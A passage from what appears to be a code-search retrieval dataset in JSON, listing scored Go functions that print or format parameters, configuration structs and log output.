\n\t\t\t\tc.getKernelName(), c.c, c.gamma, c.coefficient, c.kFold)\n\t\tcase POLY:\n\t\t\tstr += fmt.Sprintf(\"kernel: %v, c: %v, degree: %v, gamma: %v, coefficient: %v, k-fold: %v, accuracy = \", \n\t\t\t\tc.getKernelName(), c.c, c.degree, c.gamma, c.coefficient, c.kFold)\n\t}\n\tstr += fmt.Sprint(c.accuracy)\n\treturn str\n}", "title": "" }, { "docid": "19514cf37791877fe975beea95c33a36", "score": "0.6175623", "text": "func printPerson(p Person) {\n\tfmt.Println(p)\n\tfmt.Println(\"ID =\", p.ID)\n\tfmt.Println(\"Name =\", p.Name)\n\tfmt.Println(\"Age =\", p.Age)\n}", "title": "" }, { "docid": "9d42c663af5a3b3548fbbe180fc43c06", "score": "0.615254", "text": "func PrintingParams(paperWidth int, param string) int {\n\n\tprintingParams := make(map[int]map[string]int)\n\n\tprintingParams[80] = make(map[string]int)\n\n\tprintingParams[80][\"width\"] = 800\n\tprintingParams[80][\"company_name_width\"] = 2\n\tprintingParams[80][\"company_name_height\"] = 2\n\tprintingParams[80][\"item_padding\"] = 24\n\tprintingParams[80][\"qty_padding\"] = 5\n\tprintingParams[80][\"price_padding\"] = 8\n\tprintingParams[80][\"subtotal_padding\"] = 40\n\tprintingParams[80][\"total_padding\"] = 21\n\tprintingParams[80][\"fdm_rate_padding\"] = 10\n\tprintingParams[80][\"fdm_taxable_padding\"] = 10\n\tprintingParams[80][\"fdm_vat_padding\"] = 10\n\tprintingParams[80][\"fdm_net_padding\"] = 10\n\tprintingParams[80][\"tax_padding\"] = 5\n\tprintingParams[80][\"char_per_line\"] = 40\n\tprintingParams[80][\"store_unit\"] = 2\n\tprintingParams[80][\"item_kitchen\"] = 27\n\tprintingParams[80][\"qty_kitchen\"] = 7\n\tprintingParams[80][\"unit\"] = 5\n\n\tprintingParams[76] = make(map[string]int)\n\n\tprintingParams[76][\"width\"] = 760\n\tprintingParams[76][\"company_name_width\"] = 2\n\tprintingParams[76][\"company_name_height\"] = 2\n\tprintingParams[76][\"item_padding\"] = 24\n\tprintingParams[76][\"qty_padding\"] = 5\n\tprintingParams[76][\"price_padding\"] = 8\n\tprintingParams[76][\"subtotal_padding\"] = 32\n\tprintingParams[76][\"total_padding\"] = 19\n\tprintingParams[76][\"fdm_rate_padding\"] = 8\n\tprintingParams[76][\"fdm_taxable_padding\"] = 8\n\tprintingParams[76][\"fdm_vat_padding\"] = 8\n\tprintingParams[76][\"fdm_net_padding\"] = 8\n\tprintingParams[76][\"tax_padding\"] = 5\n\tprintingParams[76][\"char_per_line\"] = 32\n\tprintingParams[76][\"store_unit\"] = 2\n\tprintingParams[76][\"item_kitchen\"] = 27\n\tprintingParams[76][\"qty_kitchen\"] = 7\n\tprintingParams[76][\"unit\"] = 5\n\n\treturn printingParams[paperWidth][param]\n\n}", "title": "" }, { "docid": "a6cba42a2533986f966b5ad874ae8e32", "score": "0.61324286", "text": "func (c *configuration) print() {\n\tlogger.Info(\"DEBUG\", logger.Params{\"value\": c.Debug})\n\tlogger.Info(\"API_PORT\", logger.Params{\"value\": c.API.Port})\n\tlogger.Info(\"API_MODE\", logger.Params{\"value\": c.API.Mode})\n\tlogger.Info(\"DATABASE_TYPE\", logger.Params{\"value\": c.Database.Type})\n\tlogger.Info(\"DATABASE_REDIS_HOST\", logger.Params{\"value\": c.Database.Redis.Host})\n\tlogger.Info(\"DATABASE_REDIS_PASSWORD\", logger.Params{\"value\": c.Database.Redis.Password})\n\tlogger.Info(\"DATABASE_REDIS_INDEX\", logger.Params{\"value\": c.Database.Redis.Index})\n}", "title": "" }, { "docid": "ca6fd587142a89feea6a193fb83f11df", "score": "0.61299765", "text": "func (pStruct *PrintableData) print(){\n alpha := stringhelper.GetAlphabetizedKeyListFromMap(pStruct.Data)\n fmt.Printf(\"+------------------------------------------------+\\n\")\n fmt.Printf(\"| %-46v |\\n\", pStruct.DataSet)\n for _, key := range alpha {\n fmt.Printf(\"| %-39v: %5v |\\n\", key, pStruct.Data[key])\n }\n fmt.Printf(\"+------------------------------------------------+\\n\")\n}", "title": "" }, { "docid": "d56d7764d52b4da801526575b1bd5bdb", "score": "0.609555", "text": "func Printf(format string, params interface{}) {\n\tf, p := parse(format, GetMapValues(params))\n\tfmt.Printf(f, p...)\n}", "title": "" }, { "docid": "5979a512b3dcc37c6c970634b11d8428", "score": "0.60041726", "text": "func (r release) print() {\n\tfmt.Println(\"\")\n\tfmt.Println(\"\\tname : \", r.Name)\n\tfmt.Println(\"\\tdescription : \", r.Description)\n\tfmt.Println(\"\\tnamespace : \", r.Namespace)\n\tfmt.Println(\"\\tenabled : \", r.Enabled)\n\tfmt.Println(\"\\tchart : \", r.Chart)\n\tfmt.Println(\"\\tversion : \", r.Version)\n\tfmt.Println(\"\\tvaluesFile : \", r.ValuesFile)\n\tfmt.Println(\"\\tvaluesFiles : \", strings.Join(r.ValuesFiles, \",\"))\n\tfmt.Println(\"\\tpurge : \", r.Purge)\n\tfmt.Println(\"\\ttest : \", r.Test)\n\tfmt.Println(\"\\tprotected : \", r.Protected)\n\tfmt.Println(\"\\twait : \", r.Wait)\n\tfmt.Println(\"\\tpriority : \", r.Priority)\n\tfmt.Println(\"\\ttiller namespace : \", r.TillerNamespace)\n\tfmt.Println(\"\\tno-hooks : \", r.NoHooks)\n\tfmt.Println(\"\\ttimeout : \", r.Timeout)\n\tfmt.Println(\"\\tvalues to override from env:\")\n\tprintMap(r.Set, 2)\n\tfmt.Println(\"------------------- \")\n}", "title": "" }, { "docid": "6a4d978bd84b5f4f798f129f04ff9c60", "score": "0.5996996", "text": "func (l *Logger) Print(params ...interface{}) {\n\tl.log(printLevel, fmt.Sprint(params...)).Log()\n}", "title": "" }, { "docid": "131f2d134ee7bb29acc155aacfe0a6eb", "score": "0.59199023", "text": "func customPrint(s interface{}) {\n\tfmt.Println(s)\n}", "title": "" }, { "docid": "88084862ce33ae5dfbe6bb1845b53079", "score": "0.5907144", "text": "func Print(value ...interface{}) {\n\tInfo.Print(value...)\n}", "title": "" }, { "docid": "5f14c7adf5a731f1bd5ff7d1ce095dfc", "score": "0.5862387", "text": "func Print(v ...interface{}) {\n\tDefault.Print(v...)\n}", "title": "" }, { "docid": "7f29dcc0cb0fb6b412c604bee8735d07", "score": "0.5847565", "text": "func Println(e ...Printer) {\n\tfmt.Println(\"[main.Println]\")\n\tfor i := range e {\n\t\tfmt.Printf(\" parameter[%v]'s .Print() value: %v\\n\", i, e[i].Print())\n\t}\n}", "title": "" }, { "docid": "28441ff4ce69b44996b338534435e51e", "score": "0.5842391", "text": "func customePrint(i interface{}) {\n\tfmt.Println(i)\n}", "title": "" }, { "docid": "466c7e734ba09333b6a7bf4691eaf352", "score": "0.5831849", "text": "func (npylm *NPYLM) ShowParameters() {\n\tfmt.Println(\"estimated hyperparameters of NPYLM\")\n\tfmt.Println(\"HPYLM theta\", npylm.theta)\n\tfmt.Println(\"HPYLM d\", npylm.d)\n\tfmt.Println(\"VPYLM theta\", npylm.vpylm.hpylm.theta)\n\tfmt.Println(\"VPYLM d\", npylm.vpylm.hpylm.d)\n\tfmt.Println(\"VPYLM alpha\", npylm.vpylm.alpha)\n\tfmt.Println(\"VPYLM beta\", npylm.vpylm.beta)\n}", "title": "" }, { "docid": "f93b044ea366a4343adb8b50f816dd24", "score": "0.58258414", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Params:\n Quote Symbol:\t\t\t\t\t\t\t\t%s\n Create Pool Fee:\t\t\t\t\t\t\t%s\n Create Pool Deposit:\t\t\t\t\t\t%s\n Yield Native Token Enabled: %v`,\n\t\tp.QuoteSymbol, p.CreatePoolFee, p.CreatePoolDeposit, p.YieldNativeToken)\n}", "title": "" }, { "docid": "30ed1b747d02e207803bf78f3ba53946", "score": "0.58169925", "text": "func check_params() {\n\tfmt.Println(\"---------------------------------\")\n\tfmt.Println(\"Current Parameters For Simulation\")\n\tfmt.Print(\"# of Nodes: \", numNodes, \"\\n\")\n\tfmt.Print(\"Download Rate: \", dlRate, \"Mb/s\\n\")\n\tfmt.Print(\"Error Rate: \", maxErrRate, \"%\\n\")\n}", "title": "" }, { "docid": "ecdd9b7b6ea91c2fccfbeb10aaf1ed24", "score": "0.58124244", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Params:\n Unbonding Time: %s\n Max Validators: %d\n Max Entries: %d\n Historical Entries: %d\n Bonded Coin Denom: %s\n MinSelfDelegation: %s`, p.UnbondingTime,\n\t\tp.MaxValidators, p.MaxEntries, p.HistoricalEntries, p.BondDenom, p.MinSelfDelegation)\n}", "title": "" }, { "docid": "62132f69fac5eea623282741c0a0cce3", "score": "0.57853067", "text": "func (c Params) String() string {\n\tdefer FuncEnding(FuncStarting())\n\tnameFmt := \"%10s: \"\n\tlines := []string{\n\t\tfmt.Sprintf(nameFmt+\"%t\", \"Debug\", debug),\n\t\tfmt.Sprintf(nameFmt+\"%t\", \"Verbose\", c.Verbose),\n\t\tfmt.Sprintf(nameFmt+\"%d\", \"Errors\", len(c.Errors)),\n\t\tfmt.Sprintf(nameFmt+\"%d\", \"Count\", c.Count),\n\t\tfmt.Sprintf(nameFmt+\"%s\", \"Input File\", c.InputFile),\n\t\tfmt.Sprintf(nameFmt+\"%d lines\", \"Input\", len(c.Input)),\n\t\tfmt.Sprintf(nameFmt+\"%d lines\", \"Custom\", len(c.Custom)),\n\t}\n\tif len(c.Errors) > 0 {\n\t\tlines = append(lines, fmt.Sprintf(\"Errors (%d):\", len(c.Errors)))\n\t\terrors := make([]string, len(c.Errors))\n\t\tfor i, err := range c.Errors {\n\t\t\terrors[i] = err.Error()\n\t\t}\n\t\tlines = append(lines, AddLineNumbers(errors, 1)...)\n\t}\n\tif len(c.Input) > 0 {\n\t\tlines = append(lines, fmt.Sprintf(\"Input (%d):\", len(c.Input)))\n\t\tlines = append(lines, AddLineNumbers(c.Input, 0)...)\n\t}\n\tif len(c.Custom) > 0 {\n\t\tlines = append(lines, fmt.Sprintf(\"Custom Input (%d):\", len(c.Custom)))\n\t\tlines = append(lines, AddLineNumbers(c.Custom, 0)...)\n\t}\n\treturn strings.Join(lines, \"\\n\")\n}", "title": "" }, { "docid": "bad9e5528d99f78bbc73f359ffc8d6c0", "score": "0.5726775", "text": "func (p ParamsCompacter) ParamsToString(instance interface{}) string {\n\t// defer func() {\n\t// \tif message := recover(); message != nil {\n\t// \t\tlogger.Log().Errorf(\n\t// \t\t\t\"failed to convert instance: %#v to form, error: %v\", instance, message,\n\t// \t\t)\n\t// \t}\n\t// }()\n\tparams := make(map[string]string)\n\ts := structs.New(instance)\n\tfor _, tagFieldName := range p.SortedKeyFieldNames {\n\t\tnameValueFunc := p.fieldTagNameAndFieldNameMap[tagFieldName]\n\t\tfield := s.Field(nameValueFunc.fieldName)\n\t\tvalue := field.Value()\n\t\tif p.IgnoreEmptyValue && (value == nil || value == \"\") {\n\t\t\tcontinue\n\t\t}\n\t\tfieldValue, err := nameValueFunc.value(value)\n\t\tif err != nil {\n\t\t\treturn \"\"\n\t\t}\n\t\tparams[tagFieldName] = fieldValue\n\t}\n\n\treturn p.BuildMapToString(params)\n}", "title": "" }, { "docid": "e96beec9cc73bd5397ebc1cefd72c600", "score": "0.5686073", "text": "func Print(x interface{}){\n\tv := reflect.ValueOf(x)\n\tt := v.Type()\n\tfmt.Printf(\"type %s\\n\",t)\n\n\tfor i:= 0; i< v.NumMethod(); i++{\n\t\tmethType := v.Method(i).Type()\n\t\tfmt.Printf(\"%s | %s\\n\",t.Method(i).Name,methType.String())\n\t}\n}", "title": "" }, { "docid": "d712929b02e87df38fd0c75cb0b4a4f8", "score": "0.56827265", "text": "func (p person) print() {\n\tfmt.Printf(\"%+v\", p)\n}", "title": "" }, { "docid": "58b366ca223bed955a1eac55eba1292f", "score": "0.5676963", "text": "func (c *Cfg) Print() {\n\tkey := reflect.TypeOf(*c)\n\tvalue := reflect.ValueOf(*c)\n\tfor i := 0; i < value.NumField(); i++ {\n\t\tfield := key.Field(i)\n\t\tlog.Printf(\"key=%v value=%v\", field.Name, value.Field(i).Interface())\n\t}\n}", "title": "" }, { "docid": "37621fed57bec4c6ac66575ff3b7fb74", "score": "0.5661447", "text": "func (c *Config) Params() string {\n\treturn fmt.Sprintf(format, c.KeyLen, c.N, c.R, c.P)\n}", "title": "" }, { "docid": "98ae68617aa38048fff52d6a64d9cf40", "score": "0.5642259", "text": "func Printfln(format string, params interface{}) {\n\tf, p := parse(format, GetMapValues(params))\n\tfmt.Printf(f, p...)\n\tfmt.Println()\n}", "title": "" }, { "docid": "a46e696903a5428aec9769a2dc6ff3e7", "score": "0.56354135", "text": "func (P person) print() {\n\tfmt.Printf(\"%+v\\n\", P)\n}", "title": "" }, { "docid": "3ec4cd90faf271adca6b4b1bbe8d8953", "score": "0.56352097", "text": "func (self *str) Print(msg string, params ...interface{}) {\n msg = fmt.Sprintf(msg, params...)\n self.buffer.WriteString(msg)\n}", "title": "" }, { "docid": "3a1dd3382c4657a87664b1f424a3a0fd", "score": "0.5632947", "text": "func PrintFields(name string, i interface{}) {\n\ts := reflect.ValueOf(i).Elem()\n\ttypeOfT := s.Type()\n\tSpectreLog.Debugln(\"%s fields\\n\", name)\n\tfor i := 0; i < s.NumField(); i++ {\n\t\tf := s.Field(i)\n\t\tSpectreLog.Debugln(\"%d: %s %s = %v\\n\", i,\n\t\t\ttypeOfT.Field(i).Name, f.Type(), f.Interface())\n\t}\n}", "title": "" }, { "docid": "3f2746e772d7c372f68fe28f9602b11c", "score": "0.56277645", "text": "func Print(args ...interface{}) {\n\tfmt.Print(args...)\n}", "title": "" }, { "docid": "4de6da8a82249481c040848824b39a81", "score": "0.56273293", "text": "func (g *Gradient) Print() {\n\tfmt.Printf(\"controls:\\n%#v\\n\\n\", g.controls)\n\tfor i := range g.points {\n\t\tfmt.Printf(\"%d = %#v\\n\", i, g.points[i])\n\t}\n}", "title": "" }, { "docid": "df88b859206f28de7389fb9ee98a32fc", "score": "0.5625468", "text": "func Print(a ...interface{}) {\n\tfmt.Print(a...)\n}", "title": "" }, { "docid": "c4239ae0ffea6c331014e098e3bae887", "score": "0.56114775", "text": "func (p Params) String() string {\n\tvar sb strings.Builder\n\tsb.WriteString(\"Params: \\n\")\n\tsb.WriteString(fmt.Sprintf(\"FeeIssue: %s\\n\", p.FeeIssue))\n\tsb.WriteString(fmt.Sprintf(\"FeeMint: %s\\n\", p.FeeMint))\n\tsb.WriteString(fmt.Sprintf(\"FeeBurn: %s\\n\", p.FeeBurn))\n\tsb.WriteString(fmt.Sprintf(\"FeeModify: %s\\n\", p.FeeModify))\n\tsb.WriteString(fmt.Sprintf(\"FeeChown: %s\\n\", p.FeeChown))\n\n\treturn sb.String()\n}", "title": "" }, { "docid": "79d2e1244b57f878ebed05f6dcd72bbc", "score": "0.55945003", "text": "func (c *ConfigState) Print(a ...interface{}) (n int, err error) {\n\treturn fmt.Print(c.convertArgs(a)...)\n}", "title": "" }, { "docid": "f2e6d66a2fb02b0c7036bc569642d5fc", "score": "0.5586437", "text": "func Print(prefix string, conf interface{}) error {\n\t_, err := fmt.Println(ToString(prefix, conf))\n\treturn err\n}", "title": "" }, { "docid": "1fcbb7d08acf93351c0099e84616bb55", "score": "0.5577133", "text": "func printMe(a ...interface{}) {\n\n\tfor _, item := range a {\n\t\t//BT - The %v is automatically convert to match whatever you pass in your\n\t\t// params.\n\t\tfmt.Printf(\"This is item: %v\\n\", item)\n\t}\n}", "title": "" }, { "docid": "18891470502612ed1f4c783ca4954428", "score": "0.5562218", "text": "func PRINT(s map[string]Fields, key string) {\n\tfmt.Println()\n\tempJSON, err := json.MarshalIndent(s[key], \"\", \" \")\n\tif err != nil {\n\t\tlog.Fatalf(err.Error())\n\t}\n\tfmt.Printf(\"MarshalIndent funnction output\\n %s\\n\", string(empJSON))\n}", "title": "" }, { "docid": "a4d04148f67d4e4089dfc58dcbd788f9", "score": "0.55419344", "text": "func (s state) print() {\n\n\tfmt.Println(\"\\nMetadata: \")\n\tfmt.Println(\"--------- \")\n\tprintMap(s.Metadata, 0)\n\tfmt.Println(\"\\nCertificates: \")\n\tfmt.Println(\"--------- \")\n\tprintMap(s.Certificates, 0)\n\tfmt.Println(\"\\nSettings: \")\n\tfmt.Println(\"--------- \")\n\tfmt.Printf(\"%+v\\n\", s.Settings)\n\tfmt.Println(\"\\nNamespaces: \")\n\tfmt.Println(\"------------- \")\n\tprintNamespacesMap(s.Namespaces)\n\tfmt.Println(\"\\nRepositories: \")\n\tfmt.Println(\"------------- \")\n\tprintMap(s.HelmRepos, 0)\n\tfmt.Println(\"\\nApplications: \")\n\tfmt.Println(\"--------------- \")\n\tfor _, r := range s.Apps {\n\t\tr.print()\n\t}\n}", "title": "" }, { "docid": "57f46979e981700a8b820881ba23206e", "score": "0.55254865", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`\nCreators: %s\nFee: %d\nCardMagic: %d\n`, p.Creators, p.Fee, p.CardMagic)\n}", "title": "" }, { "docid": "88c8ff54896657ddec273c9621a3484f", "score": "0.5519598", "text": "func (ins *Instance) Print(args ...interface{}) {\n\tif ins.cfg.MinLevel < nlog.DEBUG {\n\t\treturn\n\t}\n\tfor i := range ins.cfg.formatters {\n\t\tins.cfg.formatters[i].Logf(0, nlog.DEBUG, nil, ins.cfg.Prefix, \"\", args...)\n\t}\n}", "title": "" }, { "docid": "bf7977f619c8aa1c650ff15f45ab9a8c", "score": "0.5512919", "text": "func (*Log) Print(v ...interface{}) {}", "title": "" }, { "docid": "bfbb10bc0642545687570ac2bf0546ea", "score": "0.54975206", "text": "func Printf(format string, params ...interface{}) {\n\tprintString(fmt.Sprintf(format, params...))\n}", "title": "" }, { "docid": "bfa8ba9f54f2304e03bb38fa28e47412", "score": "0.5497405", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Order Params:\n OrderExpireBlocks: %d\n MaxDealsPerBlock: %d\n FeePerBlock: %s\n TradeFeeRate: %s\n NewOrderMsgGasUnit: %d\n CancelOrderMsgGasUnit: %d`, p.OrderExpireBlocks,\n\t\tp.MaxDealsPerBlock, p.FeePerBlock,\n\t\tp.TradeFeeRate, p.NewOrderMsgGasUnit, p.CancelOrderMsgGasUnit)\n}", "title": "" }, { "docid": "d1844051449f0458ea732fe70cd1c0e4", "score": "0.5487982", "text": "func enviandoVariosParams( parametros ... string) {\r\n\tfor _, parametro := range parametros{\r\n\t\tfmt.Print(parametro)\r\n\t}\r\n\tfmt.Println(\"-------------\")\r\n\tfmt.Println(parametros[1])\r\n}", "title": "" }, { "docid": "0e692ddf1bab4946e7dd01282ab9d003", "score": "0.54871273", "text": "func (r *Raft) printInfo(shouldBeSafe bool, printLogs bool, printNextIndexes bool, printMatchIndexes bool) {\n\tif shouldBeSafe {\n\t\tr.mu.Lock()\n\t\tdefer r.mu.Unlock()\n\t}\n\n\tr.printMainInfo()\n\n\tif printLogs {\n\t\tr.printLogs()\n\t}\n\n\tif printNextIndexes {\n\t\tr.printNextIndexes()\n\t}\n\n\tif printMatchIndexes {\n\t\tr.printMatchIndexes()\n\t}\n}", "title": "" }, { "docid": "51235472c2142715bb415e2a2e883afc", "score": "0.54729706", "text": "func Print(logType int, v ...interface{}) {\n\t_print(logType, v...)\n}", "title": "" }, { "docid": "e9a416b01f459a885f3617ddb6209342", "score": "0.54707277", "text": "func (p *Printer) Print(a ...interface{}) (n int, err error) {\n\treturn fmt.Print(p.bindArgs(a)...)\n}", "title": "" }, { "docid": "9287d1ae5f46fad40f1e7ed3d082b0d8", "score": "0.54639757", "text": "func (l *LvlStruct) Print(x ...interface{}) {\n\tif l.anyIgnore(true) {\n\t\treturn\n\t}\n\t_ = l.out(fmt.Sprint(x...))\n}", "title": "" }, { "docid": "d94df7150d7f9fb936910ee867e688bd", "score": "0.5452212", "text": "func (nv *NetView) ShowAllParams() string {\n\tnds := nv.Net.AllParams()\n\tgiv.TextViewDialog(nv.Viewport, []byte(nds), giv.DlgOpts{Title: \"All Params\"})\n\treturn nds\n}", "title": "" }, { "docid": "b079b38ecce165d397b48c77e2762f62", "score": "0.543853", "text": "func (p *PrintLogger) Print(args ...interface{}) { p.logFunc(args...) }", "title": "" }, { "docid": "5837459251527a1bf3a74831910a1187", "score": "0.54371214", "text": "func Print(args ...interface{}) {\n\tlvlUI(lvlPrint, args...)\n}", "title": "" }, { "docid": "1f9243e162607991b7a1ec4ce6c60856", "score": "0.5432562", "text": "func (p Parameter) Format(w fmt.State, verb rune) {\n\tif p.IsConst {\n\t\tfmt.Fprint(w, \"@const \")\n\t}\n\tif p.Name != \"\" {\n\t\tfmt.Fprintf(w, \"%v: \", p.Name)\n\t}\n\tfmt.Fprintf(w, \"%v\", p.Type)\n}", "title": "" }, { "docid": "4904e69584e65ea98aa4d4e4e0823198", "score": "0.54149646", "text": "func (sp *SpatialPooler) Print(width int, height int) {\n\tfor i, n := range sp.Neurons {\n\t\tfor _, nm := range append(append([]*Neuron{}, n), n.MiniColumnNeurons...) {\n\t\t\tfmt.Printf(\"%s\", nm.ID)\n\t\t\tif nm.Active {\n\t\t\t\tfmt.Printf(\" A\")\n\t\t\t}\n\t\t\tif nm.Predictive {\n\t\t\t\tfmt.Printf(\" P\")\n\t\t\t}\n\t\t\tdistal := \"\"\n\t\t\tfor _, d := range nm.DistalInputs {\n\t\t\t\tdistal += fmt.Sprintf(\"%s:%d,\", d.ConnectedNeuronID, d.Permanence)\n\t\t\t}\n\t\t\tfmt.Printf(\" (%s) \", distal)\n\t\t}\n\t\tfor c, inputNeuron := range sp.inputNeurons {\n\t\t\tif c%width == 0 {\n\t\t\t\tfmt.Print(\"\\n\")\n\t\t\t}\n\t\t\tif sp.Neurons[i].IsConnected(inputNeuron) {\n\t\t\t\tfmt.Printf(\"|%d| \", sp.Neurons[i].GetDendrite(inputNeuron).Permanence)\n\t\t\t} else {\n\t\t\t\tfmt.Print(\"|_| \")\n\t\t\t}\n\t\t}\n\t\tfmt.Print(\"\\n\")\n\t}\n}", "title": "" }, { "docid": "7ba80a4bf40f33589322b0b68fed04a1", "score": "0.53839964", "text": "func (b *movie) print() {\n\tfmt.Printf(\"the movie name: %s, price: %.3f \\n\", b.name, b.price)\n}", "title": "" }, { "docid": "29a791bb3ff0341b4d612d5c88aafe31", "score": "0.5376516", "text": "func Print(args ...interface{}) {\n\tif mic.Fields != nil {\n\t\tmic.Std.WithFields(mic.Fields).Print(args...)\n\t} else {\n\t\tmic.Std.Print(args...)\n\t}\n}", "title": "" }, { "docid": "33401a66b25e9968e6b148adfe798008", "score": "0.5361969", "text": "func Print(args ...interface{}) {\n\tWithFields(fileAndLine()).Print(args...)\n}", "title": "" }, { "docid": "dbc61528c53041e19edb481484a1c9ab", "score": "0.53576267", "text": "func (l *Logger) Print(kvpair ...interface{}) {\n\tif len(kvpair) == 0 {\n\t\treturn\n\t}\n\tif len(kvpair)%2 != 0 {\n\t\tkvpair = append(kvpair, \"\")\n\t}\n\n\tdata := make(map[string]string, len(kvpair)/2+1)\n\tif _, file, line, ok := runtime.Caller(l.opts.skip); ok {\n\t\tdata[l.stackTrace(file)] = strconv.Itoa(line)\n\t}\n\tfor i := 0; i < len(kvpair); i += 2 {\n\t\tdata[fmt.Sprint(kvpair[i])] = fmt.Sprint(kvpair[i+1])\n\t}\n\n\tif err := l.log.Post(data[\"module\"], data); err != nil {\n\t\tprintln(err)\n\t}\n}", "title": "" }, { "docid": "101787711e556122d70fc3910eb48807", "score": "0.5346267", "text": "func print(t *T) { log.Printf(\"{ x=%d, y=%d }\", t.x, t.y) }", "title": "" }, { "docid": "aac862988024249e568f8026b3a77fbf", "score": "0.5344632", "text": "func (p Program) printProgram() {\n\n\t// print the variables\n\tfmt.Println(\"Variables:\")\n\tfor _, v := range p.Vars {\n\t\tfmt.Println(\"\\t\", v.Name, \"=\", v.Value)\n\t}\n\n\t// print the functions\n\tfmt.Println(\"Functions:\")\n\tfor _, f := range p.Funcs {\n\t\tfmt.Println(\"\\t\", f.Name, \"(\", f.Parameters, \")\")\n\t}\n\n}", "title": "" }, { "docid": "2c9bb763fec0dc085dd2335225dacd2e", "score": "0.5338159", "text": "func Print(config Config) {\n\tfmt.Print(\"settings:\\n\")\n\tfmt.Print(\" aws:\\n\")\n\tfmt.Printf(\" region: %s\\n\", config.Settings.Aws.Region)\n\tfmt.Print(\" cognito:\\n\")\n\tfmt.Printf(\" userName: %s\\n\", config.Settings.Aws.Cognito.UserName)\n\tfmt.Printf(\" userPoolID: %s\\n\", config.Settings.Aws.Cognito.UserPoolID)\n\tfmt.Printf(\" appClientId: %s\\n\", config.Settings.Aws.Cognito.AppClientID)\n\tfmt.Printf(\" serverUrl: %s\", config.Settings.ServerURL)\n}", "title": "" }, { "docid": "3607de2db6561d9bc62fb6ce7bad5e1b", "score": "0.53211194", "text": "func (r *room) Print(args ...interface{}) {\n\tfor _, p := range r.players {\n\t\tp.Print(args...)\n\t}\n}", "title": "" }, { "docid": "52aaec05fe760e9f5c3bfc774e783760", "score": "0.5319", "text": "func Print(args ...interface{}) {\n\t//log.Print(args...)\n\tlog.Info(args...)\n}", "title": "" }, { "docid": "38a468df2277150ff3162b428c0b36da", "score": "0.5312914", "text": "func (n *node) print(){\n\tif n != nil {\n\t\tn.leaves[0].print();\n\t\tfmt.Println(n.key, \": \", n.val);\n\t\tn.leaves[1].print();\n\t}\n}", "title": "" }, { "docid": "87fcf16f1b08d33b3d47bdb1325e1263", "score": "0.5306686", "text": "func (p person) print() {\n fmt.Printf(\"%+v\\n\", p)\n}", "title": "" }, { "docid": "7542e7125566c05a7617696bf64f6ae3", "score": "0.53051615", "text": "func (cl *Cmdline) printCmdHelp(p *ConfigType) error {\n\tif p.hidden {\n\t\treturn nil\n\t}\n\tvar err error\n\t_, err = fmt.Fprintf(cl.out, \" --%s\", strings.ToLower(p.name))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif p.description != \"\" {\n\t\t_, err = fmt.Fprintf(cl.out, \": %s\", p.description)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif p.required {\n\t\t_, err = fmt.Fprintf(cl.out, \" (required)\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err = fmt.Fprintf(cl.out, \"\\n\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, ctf := range enumerateFields(p.objType) {\n\t\t_, err = fmt.Fprintf(cl.out, \" %s=<%s>\", strings.ToLower(ctf.Name),\n\t\t\tprintableTypeName(ctf.Type))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdescr := ctf.Tag.Get(\"description\")\n\t\tif descr != \"\" {\n\t\t\t_, err = fmt.Fprintf(cl.out, \": %s\", descr)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\textras := make([]string, 0)\n\t\tvar req bool\n\t\treq, err = betterParseBool(ctf.Tag.Get(\"required\"))\n\t\tif err == nil && req {\n\t\t\textras = append(extras, \"required\")\n\t\t}\n\t\tdef := ctf.Tag.Get(\"default\")\n\t\tif def != \"\" {\n\t\t\textras = append(extras, fmt.Sprintf(\"default: %s\", def))\n\t\t}\n\t\tif len(extras) > 0 {\n\t\t\t_, err = fmt.Fprintf(cl.out, \" (%s)\", strings.Join(extras, \", \"))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\t_, err = fmt.Fprintf(cl.out, \"\\n\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err = fmt.Fprintf(cl.out, \"\\n\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d8c5eb2b298efee61a264d52ff09cf88", "score": "0.52949065", "text": "func (p *Pipeline) PrintObjects() {\n\tkeys := make([]string, 0, len(p.objects))\n\tfor k := range p.objects {\n\t\tkeys = append(keys, k)\n\t}\n\tfmt.Println(\"Pipeline \", p.name)\n\tfor _, k := range keys {\n\t\tfmt.Println(\"Key:\", k, \"Value:\", reflect.TypeOf(p.objects[k]))\n\t}\n}", "title": "" }, { "docid": "c931961124089cab3257043dfb3c02ba", "score": "0.52947927", "text": "func (userInfo User) print() {\n\tfmt.Println(\"Username: \" + userInfo.Name)\n\tfmt.Println(\"Usage: \" + ByteCountSI(userInfo.Usage))\n\n\tif userInfo.Admin {\n\t\tfmt.Println(\"You are an admin\")\n\t}\n}", "title": "" }, { "docid": "d8903fac8aa720b7919973d7b86585e0", "score": "0.5290185", "text": "func (p PolarPoint) Print() {\n\tfmt.Printf(\"(%f, %f◦)\", p.R, p.A)\n}", "title": "" }, { "docid": "7a1d2118340a867b45c7b202d9a4675d", "score": "0.5289475", "text": "func (l *Logger) Print(values ...interface{}) {\n\tl.Println(values)\n}", "title": "" }, { "docid": "e46e4186a9bec771f451eef00b9ce7a9", "score": "0.528147", "text": "func (vc *VCInfo) Print(p ...string) {\n\tvar dcs []mo.Datacenter\n\n\tif len(p) == 0 {\n\t\tp = []string{\"name\"}\n\t}\n\tlog.Debug(\"Printing information ...\")\n\ttw := tabwriter.NewWriter(os.Stdout, 2, 0, 2, ' ', 0)\n\tfmt.Fprintf(tw, \"\\n\")\n\tfmt.Fprintf(tw, \"About\\n\")\n\tfmt.Fprintf(tw, \"-----\\n\")\n\tfmt.Fprintf(tw, \"Name:\\t%s\\n\", vc.about.Name)\n\tfmt.Fprintf(tw, \"Vendor:\\t%s\\n\", vc.about.Vendor)\n\tfmt.Fprintf(tw, \"Version:\\t%s\\n\", vc.about.Version)\n\tfmt.Fprintf(tw, \"Build:\\t%s\\n\", 